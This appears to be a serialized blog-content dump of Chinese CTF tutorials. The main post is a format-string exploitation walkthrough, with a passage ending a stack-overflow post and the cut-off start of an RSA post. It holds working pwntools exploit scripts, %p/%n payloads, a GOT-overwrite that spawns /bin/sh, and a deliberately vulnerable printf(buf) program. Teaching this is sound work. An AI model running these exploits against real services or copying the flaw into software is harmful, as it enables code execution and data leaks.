",[26,10523,3625],{},[19,10525,10527],{"className":3199,"code":10526,"language":3201,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,10528,10529,10533,10537,10541,10545,10549,10553,10557,10561],{"__ignoreMap":24},[29,10530,10531],{"class":31,"line":32},[29,10532,3659],{},[29,10534,10535],{"class":31,"line":166},[29,10536,225],{"emptyLinePlaceholder":224},[29,10538,10539],{"class":31,"line":184},[29,10540,3749],{},[29,10542,10543],{"class":31,"line":196},[29,10544,3802],{},[29,10546,10547],{"class":31,"line":206},[29,10548,225],{"emptyLinePlaceholder":224},[29,10550,10551],{"class":31,"line":221},[29,10552,3926],{},[29,10554,10555],{"class":31,"line":228},[29,10556,3852],{},[29,10558,10559],{"class":31,"line":234},[29,10560,4146],{},[29,10562,10563],{"class":31,"line":246},[29,10564,3940],{},[15,10566,504],{},[19,10568,10570],{"className":10569,"code":4161,"language":63,"meta":24},[61],[26,10571,4161],{"__ignoreMap":24},[10,10573,10575],{"id":10574},"十一小结","十一、小结",[15,10577,10578,10579,10581,10582,10584],{},"栈溢出主线：",[26,10580,4022],{}," 判断防护 → ",[26,10583,3648],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1990,10586,10587],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":24,"searchDepth":166,"depth":166,"links":10589},[10590,10591,10592,10593,10594,10595,10596,10597,10598,10599,10600],{"id":9521,"depth":184,"text":9522},{"id":2085,"depth":184,"text":2086},{"id":3386,"depth":184,"text":3387},{"id":9701,"depth":184,"text":9702},{"id":3629,"depth":184,"text":3630},{"id":9897,"depth":184,"text":9898},{"id":10005,"depth":184,"text":10006},{"id":10072,"depth":184,"text":10073},{"id":10447,"depth":184,"text":10448},{"id":10512,"depth":184,"text":10513},{"id":10574,"depth":184,"text":10575},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":2008,"image":10603,"alt":10604,"tags":10605,"published":224},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[788,3551,10606,2013],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":9516,"description":10601},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":10612,"title":10613,"body":10614,"description":11638,"extension":2006,"meta":11639,"navigation":224,"ogImage":5194,"path":11643,"seo":11644,"stem":11645,"__hash__":11646},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":10615,"toc":11626},[10616,10620,10623,10638,10653,10669,10673,10678,10727,10748,10752,10757,10759,10768,10770,10776,10779,10785,10796,10804,10808,10813,10829,10832,10834,10842,10844,10850,10853,10859,10869,10936,10941,10971,10975,10980,10993,11001,11056,11109,11112,11121,11124,11128,11133,11148,11153,11159,11161,11174,11177,11220,11224,11235,11243,11249,11319,11352,11355,11434,11440,11469,11479,11481,11539,11543,11550,11559,11602,11604,11610,11612,11623],[10,10617,10619],{"id":10618},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,10621,10622],{},"C 程序员常写的输出代码：",[19,10624,10626],{"className":2777,"code":10625,"language":2779,"meta":24,"style":24},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[26,10627,10628,10633],{"__ignoreMap":24},[29,10629,10630],{"class":31,"line":32},[29,10631,10632],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[29,10634,10635],{"class":31,"line":166},[29,10636,10637],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,10639,10640,10641,10644,10645,10648,10649,10652],{},"当 ",[26,10642,10643],{},"buf"," 内容是 ",[26,10646,10647],{},"%p"," 时，",[26,10650,10651],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[877,10654,10655,10663],{},[880,10656,10657,3086,10659,10662],{},[26,10658,10647],{},[26,10660,10661],{},"%s","：任意读（泄露内存）。",[880,10664,10665,10668],{},[26,10666,10667],{},"%n","：任意写（写入内存）。",[10,10670,10672],{"id":10671},"二漏洞程序与编译","二、漏洞程序与编译",[15,10674,10675,324],{},[26,10676,10677],{},"fmt.c",[19,10679,10681],{"className":2777,"code":10680,"language":2779,"meta":24,"style":24},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[26,10682,10683,10687,10691,10695,10700,10704,10709,10714,10719,10723],{"__ignoreMap":24},[29,10684,10685],{"class":31,"line":32},[29,10686,3403],{},[29,10688,10689],{"class":31,"line":166},[29,10690,225],{"emptyLinePlaceholder":224},[29,10692,10693],{"class":31,"line":184},[29,10694,3458],{},[29,10696,10697],{"class":31,"line":196},[29,10698,10699],{},"    char buf[100];\n",[29,10701,10702],{"class":31,"line":206},[29,10703,3463],{},[29,10705,10706],{"class":31,"line":221},[29,10707,10708],{},"    printf(\"> \");\n",[29,10710,10711],{"class":31,"line":228},[29,10712,10713],{},"    fgets(buf, sizeof(buf), stdin);\n",[29,10715,10716],{"class":31,"line":234},[29,10717,10718],{},"    printf(buf);          // 漏洞\n",[29,10720,10721],{"class":31,"line":246},[29,10722,3483],{},[29,10724,10725],{"class":31,"line":376},[29,10726,455],{},[19,10728,10730],{"className":21,"code":10729,"language":23,"meta":24,"style":24},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[26,10731,10732],{"__ignoreMap":24},[29,10733,10734,10736,10738,10741,10744,10746],{"class":31,"line":32},[29,10735,3500],{"class":35},[29,10737,3503],{"class":39},[29,10739,10740],{"class":47}," fmt",[29,10742,10743],{"class":47}," fmt.c",[29,10745,3512],{"class":39},[29,10747,3515],{"class":39},[10,10749,10751],{"id":10750},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,10753,10754,10756],{},[138,10755,519],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,10758,7327],{},[19,10760,10762],{"className":21,"code":10761,"language":23,"meta":24,"style":24},"./fmt\n",[26,10763,10764],{"__ignoreMap":24},[29,10765,10766],{"class":31,"line":32},[29,10767,10761],{"class":35},[15,10769,485],{},[19,10771,10774],{"className":10772,"code":10773,"language":63,"meta":24},[61],"%p.%p.%p.%p.%p.%p\n",[26,10775,10773],{"__ignoreMap":24},[15,10777,10778],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[19,10780,10783],{"className":10781,"code":10782,"language":63,"meta":24},[61],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[26,10784,10782],{"__ignoreMap":24},[15,10786,10787,10788,10791,10792,10795],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[26,10789,10790],{},"0x70252e70","，正是 ",[26,10793,10794],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,10797,10798,324,10801,10803],{},[138,10799,10800],{},"为什么能泄露",[26,10802,10651],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,10805,10807],{"id":10806},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,10809,10810,10812],{},[138,10811,519],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,10814,10815,10817,10818,10820,10821,10824,10825,10828],{},[138,10816,528],{},"：在输入开头放 4 个 ",[26,10819,3866],{},"，用 ",[26,10822,10823],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[26,10826,10827],{},"0x41414141","，哪个位置就是输入起点。",[15,10830,10831],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,10833,7327],{},[19,10835,10836],{"className":21,"code":10761,"language":23,"meta":24,"style":24},[26,10837,10838],{"__ignoreMap":24},[29,10839,10840],{"class":31,"line":32},[29,10841,10761],{"class":35},[15,10843,485],{},[19,10845,10848],{"className":10846,"code":10847,"language":63,"meta":24},[61],"AAAA.%6$p\n",[26,10849,10847],{"__ignoreMap":24},[15,10851,10852],{},"预期输出（Linux x86-64 典型情况）：",[19,10854,10857],{"className":10855,"code":10856,"language":63,"meta":24},[61],"> AAAA.0x41414141\n",[26,10858,10856],{"__ignoreMap":24},[15,10860,10861,10862,10864,10865,10868],{},"出现 ",[26,10863,10827],{},"（",[26,10866,10867],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[19,10870,10872],{"className":3199,"code":10871,"language":3201,"meta":24,"style":24},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[26,10873,10874,10878,10882,10887,10892,10897,10902,10907,10912,10917,10922,10927,10932],{"__ignoreMap":24},[29,10875,10876],{"class":31,"line":32},[29,10877,3659],{},[29,10879,10880],{"class":31,"line":166},[29,10881,225],{"emptyLinePlaceholder":224},[29,10883,10884],{"class":31,"line":184},[29,10885,10886],{},"for i in range(1, 15):\n",[29,10888,10889],{"class":31,"line":196},[29,10890,10891],{},"    p = process('./fmt')\n",[29,10893,10894],{"class":31,"line":206},[29,10895,10896],{},"    p.recvuntil(b'> ')\n",[29,10898,10899],{"class":31,"line":221},[29,10900,10901],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[29,10903,10904],{"class":31,"line":228},[29,10905,10906],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[29,10908,10909],{"class":31,"line":234},[29,10910,10911],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[29,10913,10914],{"class":31,"line":246},[29,10915,10916],{},"    out = p.recvall()\n",[29,10918,10919],{"class":31,"line":376},[29,10920,10921],{},"    if b'0x41414141' in out:\n",[29,10923,10924],{"class":31,"line":382},[29,10925,10926],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[29,10928,10929],{"class":31,"line":388},[29,10930,10931],{},"        print(f'offset = {i}')\n",[29,10933,10934],{"class":31,"line":394},[29,10935,4612],{},[15,10937,504,10938,789],{},[26,10939,10940],{},"offset = 6",[15,10942,10943,10944,5792,10947,10949,10950,10952,10953,10956,10957,10960,10961,10956,10964,2674,10967,10970],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[26,10945,10946],{},"rdi, rsi, rdx, rcx, r8, r9",[26,10948,10651],{}," 自己占 ",[26,10951,10059],{},"，所以 ",[26,10954,10955],{},"%1$p"," 到 ",[26,10958,10959],{},"%5$p"," 对应 ",[26,10962,10963],{},"rsi",[26,10965,10966],{},"r9",[26,10968,10969],{},"%6$p"," 开始读栈。",[10,10972,10974],{"id":10973},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,10976,10977,10979],{},[138,10978,519],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,10981,10982,10984,10985,10988,10989,10992],{},[138,10983,528],{},"：不同数据在栈上有固定特征——canary 以 ",[26,10986,10987],{},"00"," 结尾，libc 地址以 ",[26,10990,10991],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,10994,2758,10995,10956,10997,11000],{},[26,10996,10969],{},[26,10998,10999],{},"%40$p"," 全部打出来，识别特征值：",[70,11002,11003,11013],{},[73,11004,11005],{},[76,11006,11007,11010],{},[79,11008,11009],{},"值特征",[79,11011,11012],{},"内容",[86,11014,11015,11026,11037,11047],{},[76,11016,11017,11023],{},[91,11018,11019,11020,11022],{},"以 ",[26,11021,10987],{}," 结尾的随机值",[91,11024,11025],{},"canary",[76,11027,11028,11034],{},[91,11029,11030,11033],{},[26,11031,11032],{},"0x7fff"," 开头",[91,11035,11036],{},"栈地址",[76,11038,11039,11044],{},[91,11040,11041,11033],{},[26,11042,11043],{},"0x55/0x56",[91,11045,11046],{},"程序代码地址（PIE 基址相关）",[76,11048,11049,11053],{},[91,11050,11051,11033],{},[26,11052,10991],{},[91,11054,11055],{},"libc 地址",[19,11057,11059],{"className":3199,"code":11058,"language":3201,"meta":24,"style":24},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[26,11060,11061,11066,11071,11075,11080,11085,11089,11094,11099,11104],{"__ignoreMap":24},[29,11062,11063],{"class":31,"line":32},[29,11064,11065],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[29,11067,11068],{"class":31,"line":166},[29,11069,11070],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[29,11072,11073],{"class":31,"line":184},[29,11074,3852],{},[29,11076,11077],{"class":31,"line":196},[29,11078,11079],{},"out = p.recvall().decode().split('.')\n",[29,11081,11082],{"class":31,"line":206},[29,11083,11084],{},"# 按点号切分，得到每个位置的值。\n",[29,11086,11087],{"class":31,"line":221},[29,11088,225],{"emptyLinePlaceholder":224},[29,11090,11091],{"class":31,"line":228},[29,11092,11093],{},"for i, v in enumerate(out):\n",[29,11095,11096],{"class":31,"line":234},[29,11097,11098],{},"    if v.endswith('00') and len(v) == 18:\n",[29,11100,11101],{"class":31,"line":246},[29,11102,11103],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[29,11105,11106],{"class":31,"line":376},[29,11107,11108],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,11110,11111],{},"泄露 libc 地址后：",[19,11113,11115],{"className":3199,"code":11114,"language":3201,"meta":24,"style":24},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[26,11116,11117],{"__ignoreMap":24},[29,11118,11119],{"class":31,"line":32},[29,11120,11114],{},[15,11122,11123],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,11125,11127],{"id":11126},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,11129,11130,11132],{},[138,11131,519],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,11134,11135,324,11137,11139,11140,11143,11144,11147],{},[138,11136,528],{},[26,11138,10667],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[26,11141,11142],{},"%100c"," 精确控制打印量，再用 ",[26,11145,11146],{},"%N$n"," 写到目标地址。",[15,11149,11150,11152],{},[26,11151,10667],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[19,11154,11157],{"className":11155,"code":11156,"language":63,"meta":24},[61],"%100c%7$n\n",[26,11158,11156],{"__ignoreMap":24},[15,11160,9987],{},[2751,11162,11163,11168],{},[880,11164,11165,11167],{},[26,11166,11142],{}," 打印 100 个填充字符，已打印数变成 100。",[880,11169,11170,11173],{},[26,11171,11172],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,11175,11176],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[70,11178,11179,11189],{},[73,11180,11181],{},[76,11182,11183,11186],{},[79,11184,11185],{},"说明符",[79,11187,11188],{},"写入字节数",[86,11190,11191,11200,11210],{},[76,11192,11193,11197],{},[91,11194,11195],{},[26,11196,10667],{},[91,11198,11199],{},"4 字节",[76,11201,11202,11207],{},[91,11203,11204],{},[26,11205,11206],{},"%hn",[91,11208,11209],{},"2 字节",[76,11211,11212,11217],{},[91,11213,11214],{},[26,11215,11216],{},"%hhn",[91,11218,11219],{},"1 字节",[10,11221,11223],{"id":11222},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,11225,11226,11228,11229,11231,11232,11234],{},[138,11227,519],{},"：把程序即将调用的 ",[26,11230,10407],{}," 改成我们的 ",[26,11233,3625],{},"，实现控制流劫持。",[15,11236,11237,324,11239,11242],{},[138,11238,528],{},[26,11240,11241],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,11244,11245,11246,324],{},"目标程序 ",[26,11247,11248],{},"fmt2.c",[19,11250,11252],{"className":2777,"code":11251,"language":2779,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[26,11253,11254,11258,11262,11266,11270,11274,11278,11282,11286,11290,11294,11298,11302,11306,11311,11315],{"__ignoreMap":24},[29,11255,11256],{"class":31,"line":32},[29,11257,3403],{},[29,11259,11260],{"class":31,"line":166},[29,11261,3408],{},[29,11263,11264],{"class":31,"line":184},[29,11265,225],{"emptyLinePlaceholder":224},[29,11267,11268],{"class":31,"line":196},[29,11269,3417],{},[29,11271,11272],{"class":31,"line":206},[29,11273,3422],{},[29,11275,11276],{"class":31,"line":221},[29,11277,455],{},[29,11279,11280],{"class":31,"line":228},[29,11281,225],{"emptyLinePlaceholder":224},[29,11283,11284],{"class":31,"line":234},[29,11285,3458],{},[29,11287,11288],{"class":31,"line":246},[29,11289,10699],{},[29,11291,11292],{"class":31,"line":376},[29,11293,3463],{},[29,11295,11296],{"class":31,"line":382},[29,11297,10708],{},[29,11299,11300],{"class":31,"line":388},[29,11301,10713],{},[29,11303,11304],{"class":31,"line":394},[29,11305,10718],{},[29,11307,11308],{"class":31,"line":400},[29,11309,11310],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[29,11312,11313],{"class":31,"line":405},[29,11314,3483],{},[29,11316,11317],{"class":31,"line":411},[29,11318,455],{},[19,11320,11322],{"className":21,"code":11321,"language":23,"meta":24,"style":24},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[26,11323,11324,11340],{"__ignoreMap":24},[29,11325,11326,11328,11330,11333,11336,11338],{"class":31,"line":32},[29,11327,3500],{"class":35},[29,11329,3503],{"class":39},[29,11331,11332],{"class":47}," fmt2",[29,11334,11335],{"class":47}," fmt2.c",[29,11337,3512],{"class":39},[29,11339,3515],{"class":39},[29,11341,11342,11344,11346,11349],{"class":31,"line":166},[29,11343,3551],{"class":35},[29,11345,3554],{"class":47},[29,11347,11348],{"class":47}," ./fmt2",[29,11350,11351],{"class":162},"     # 需为 Partial RELRO，GOT 可写\n",[15,11353,11354],{},"利用脚本：",[19,11356,11358],{"className":3199,"code":11357,"language":3201,"meta":24,"style":24},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[26,11359,11360,11364,11368,11373,11378,11383,11387,11392,11397,11402,11407,11412,11417,11422,11426,11430],{"__ignoreMap":24},[29,11361,11362],{"class":31,"line":32},[29,11363,3659],{},[29,11365,11366],{"class":31,"line":166},[29,11367,225],{"emptyLinePlaceholder":224},[29,11369,11370],{"class":31,"line":184},[29,11371,11372],{},"context.binary = elf = ELF('./fmt2')\n",[29,11374,11375],{"class":31,"line":196},[29,11376,11377],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[29,11379,11380],{"class":31,"line":206},[29,11381,11382],{},"p = process('./fmt2')\n",[29,11384,11385],{"class":31,"line":221},[29,11386,225],{"emptyLinePlaceholder":224},[29,11388,11389],{"class":31,"line":228},[29,11390,11391],{},"offset = 6\n",[29,11393,11394],{"class":31,"line":234},[29,11395,11396],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[29,11398,11399],{"class":31,"line":246},[29,11400,11401],{},"# fmtstr_payload(offset, writes)：\n",[29,11403,11404],{"class":31,"line":376},[29,11405,11406],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[29,11408,11409],{"class":31,"line":382},[29,11410,11411],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[29,11413,11414],{"class":31,"line":388},[29,11415,11416],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[29,11418,11419],{"class":31,"line":394},[29,11420,11421],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[29,11423,11424],{"class":31,"line":400},[29,11425,225],{"emptyLinePlaceholder":224},[29,11427,11428],{"class":31,"line":405},[29,11429,3852],{},[29,11431,11432],{"class":31,"line":411},[29,11433,3940],{},[15,11435,11436,11439],{},[26,11437,11438],{},"fmtstr_payload"," 自动完成：",[2751,11441,11442,11447,11454,11463],{},[880,11443,2758,11444,11446],{},[26,11445,3625],{}," 地址拆成低 2 字节和高 2 字节。",[880,11448,11449,11450,11453],{},"生成 ",[26,11451,11452],{},"%c"," 控制打印量。",[880,11455,11456,11457,1847,11459,11462],{},"把两个目标地址（",[26,11458,11241],{},[26,11460,11461],{},"puts@got+2","）放到对应参数位置。",[880,11464,11465,11466,11468],{},"用 ",[26,11467,11206],{}," 分别写入。",[15,11470,11471,11472,11475,11476,11478],{},"预期结果：程序执行 ",[26,11473,11474],{},"puts(\"Done\")"," 时实际调用 ",[26,11477,3965],{},"，进入 shell。",[10,11480,3974],{"id":3973},[70,11482,11483,11493],{},[73,11484,11485],{},[76,11486,11487,11489,11491],{},[79,11488,3008],{},[79,11490,3985],{},[79,11492,3988],{},[86,11494,11495,11513,11525],{},[76,11496,11497,11499,11511],{},[91,11498,3995],{},[91,11500,11501,1847,11503,1847,11506,3086,11508],{},[26,11502,11438],{},[26,11504,11505],{},"FmtStr",[26,11507,4013],{},[26,11509,11510],{},"recvuntil",[91,11512,4017],{},[76,11514,11515,11517,11520],{},[91,11516,4022],{},[91,11518,11519],{},"看 RELRO、Canary、PIE",[91,11521,11522],{},[26,11523,11524],{},"pwn checksec ./fmt2",[76,11526,11527,11529,11532],{},[91,11528,10497],{},[91,11530,11531],{},"断点、看栈、验证参数位置",[91,11533,11534,1847,11537],{},[26,11535,11536],{},"break main",[26,11538,4046],{},[10,11540,11542],{"id":11541},"九小-ctf-实战","九、小 CTF 实战",[15,11544,11545,11546,11549],{},"题目：远程运行 ",[26,11547,11548],{},"fmt2","（Partial RELRO、No PIE）。",[15,11551,11552,11554,11555,11558],{},[138,11553,528],{},"：与本地脚本唯一区别是 ",[26,11556,11557],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[19,11560,11562],{"className":3199,"code":11561,"language":3201,"meta":24,"style":24},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,11563,11564,11568,11572,11576,11581,11585,11590,11594,11598],{"__ignoreMap":24},[29,11565,11566],{"class":31,"line":32},[29,11567,3659],{},[29,11569,11570],{"class":31,"line":166},[29,11571,225],{"emptyLinePlaceholder":224},[29,11573,11574],{"class":31,"line":184},[29,11575,11372],{},[29,11577,11578],{"class":31,"line":196},[29,11579,11580],{},"p = remote('1.2.3.4', 10002)\n",[29,11582,11583],{"class":31,"line":206},[29,11584,225],{"emptyLinePlaceholder":224},[29,11586,11587],{"class":31,"line":221},[29,11588,11589],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[29,11591,11592],{"class":31,"line":228},[29,11593,3852],{},[29,11595,11596],{"class":31,"line":234},[29,11597,4146],{},[29,11599,11600],{"class":31,"line":246},[29,11601,3940],{},[15,11603,504],{},[19,11605,11608],{"className":11606,"code":11607,"language":63,"meta":24},[61],"flag{format_string}\n",[26,11609,11607],{"__ignoreMap":24},[10,11611,1985],{"id":1984},[15,11613,11614,11615,3086,11617,11619,11620,11622],{},"格式化字符串提供两种原语：",[26,11616,10647],{},[26,11618,10661],{}," 任意读，",[26,11621,10667],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1990,11624,11625],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":24,"searchDepth":166,"depth":166,"links":11627},[11628,11629,11630,11631,11632,11633,11634,11635,11636,11637],{"id":10618,"depth":184,"text":10619},{"id":10671,"depth":184,"text":10672},{"id":10750,"depth":184,"text":10751},{"id":10806,"depth":184,"text":10807},{"id":10973,"depth":184,"text":10974},{"id":11126,"depth":184,"text":11127},{"id":11222,"depth":184,"text":11223},{"id":3973,"depth":184,"text":3974},{"id":11541,"depth":184,"text":11542},{"id":1984,"depth":184,"text":1985},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":2008,"image":5194,"alt":11640,"tags":11641,"published":224},"格式化字符串深入实战",[788,3551,11642,2013],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":10613,"description":11638},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":11648,"title":11649,"body":11650,"description":12617,"extension":2006,"meta":12618,"navigation":224,"ogImage":9507,"path":12622,"seo":12623,"stem":12624,"__hash__":12625},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":11651,"toc":12605},[11652,11656,11659,11662,11685,11698,11700,11716,11720,11726,11729,11744,11748,11753,11758,11847,11849,11855,11862,11866,11871,11876,11880,11899,11901,11907,11913,11917,11922,12007,12009,12015,12024,12028,12036,12065,12069,12073,12083,12089,12093,12098,12103,12110,12116,12119,12125,12129,12292,12294,12300,12304,12371,12373,12434,12443,12445,12447,12453,12456,12460,12465,12479,12481,12487,12491,12500,12550,12552,12558,12562,12594,12596,12603],[10,11653,11655],{"id":11654},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,11657,11658],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,11660,11661],{},"DH 最小实现（见密码学全景篇）：",[19,11663,11665],{"className":3199,"code":11664,"language":3201,"meta":24,"style":24},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 